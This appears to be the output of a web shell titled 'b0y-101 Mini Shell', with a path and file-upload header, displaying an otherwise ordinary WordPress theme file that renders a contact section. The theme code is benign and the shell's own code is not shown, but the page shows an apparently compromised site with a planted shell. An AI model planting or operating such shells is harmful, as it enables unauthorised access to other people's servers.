b0y-101 Mini Shell


Current Path : E:/www2/tcas/wp-content/themes/businesszen/inc/sections/
File Upload :
Current File : E:/www2/tcas/wp-content/themes/businesszen/inc/sections/contact.php

<?php
/**
 * Contact section
 *
 * This is the template for the content of contact section
 *
 * @package Theme Palace
 * @subpackage  Businesszen
 * @since  Businesszen 1.0.0
 */
if ( ! function_exists( 'businesszen_add_contact_section' ) ) :
    /**
    * Add contact section
    *
    *@since  Businesszen 1.0.0
    */
    function businesszen_add_contact_section() {
    	$options = businesszen_get_theme_options();
        // Check if contact is enabled on frontpage
        $contact_enable = apply_filters( 'businesszen_section_status', true, 'contact_section_enable' );

        if ( true !== $contact_enable ) {
            return false;
        }
        // Get contact section details
        $section_details = array();
        $section_details = apply_filters( 'businesszen_filter_contact_section_details', $section_details );
        if ( empty( $section_details ) ) {
            return ;
        }

        // Render contact section now.
        businesszen_render_contact_section( $section_details );
    }
endif;

if ( ! function_exists( 'businesszen_get_contact_section_details' ) ) :
    /**
    * contact section details.
    *
    * @since  Businesszen 1.0.0
    * @param array $input contact section details.
    */
    function businesszen_get_contact_section_details( $input ) {
        $options = businesszen_get_theme_options();

        $content = array();
        $content['contact_section_shortcode']   = (!empty($options['contact_section_shortcode'])) ? $options['contact_section_shortcode'] : '';
        $content['contact_section_title']       = (!empty($options['contact_section_title'])) ? $options['contact_section_title'] : '';
        $content['contact_section_subtitle']    = (!empty($options['contact_section_subtitle'])) ? $options['contact_section_subtitle'] : '';

        if ( ! empty( $content ) ) {
            $input = $content;
        }
        return $input;
    }
endif;
// contact section content details.
add_filter( 'businesszen_filter_contact_section_details', 'businesszen_get_contact_section_details' );


if ( ! function_exists( 'businesszen_render_contact_section' ) ) :
  /**
   * Start contact section
   *
   * @return string contact content
   * @since  Businesszen 1.0.0
   *
   */
   function businesszen_render_contact_section( $content_details = array() ) {
        $options        = businesszen_get_theme_options();
        
        if ( empty( $content_details ) ) {
            return;
        } ?>

        <div id="businesszen_contact_section" class="relative page-section">
            <div class="wrapper">
                <div class="section-header-wrapper">
                    <div class="section-header">
                        <?php if( !empty( $content_details['contact_section_subtitle'] ) ): ?>
                            <p class="section-subtitle"><?php echo esc_html( $content_details['contact_section_subtitle'] ); ?></p>
                        <?php endif;

                        if( !empty( $content_details['contact_section_title'] ) ):
                            ?>
                        <h2 class="section-title"><?php echo esc_html( $content_details['contact_section_title'] ); ?></h2>
                    <?php endif; ?>
                </div><!-- .section-header -->

                <div class="contact-information">
                    <ul>
                        <?php if( !empty( $options['contact_section_address'] ) ): ?>
                            <li><i class="fa fa-map-marker"></i><?php echo esc_html($options['contact_section_address']); ?></li>
                        <?php endif;
                        if( !empty( $options['contact_section_phone_number'] ) ):
                            ?>
                        <li><i class="fa fa-phone"></i><?php echo esc_html($options['contact_section_phone_number']); ?></li>
                    <?php endif;
                    if( !empty( $options['contact_section_email'] ) ):
                        ?>
                    <li><i class="fa fa-envelope"></i><?php echo esc_html($options['contact_section_email']); ?></li>
                <?php endif; ?>
            </ul>
        </div><!-- .contact-information -->
    </div><!-- .section-header-wrapper -->

    <div class="section-content">
        <?php echo do_shortcode( wp_kses_post( $content_details['contact_section_shortcode'] ) );  ?>
    </div><!-- .section-content -->
</div><!-- .wrapper -->
</div><!-- #businesszen_contact_section -->
  
        <?php 
    }    
endif; ?>

Copyright © 2019 by b0y-101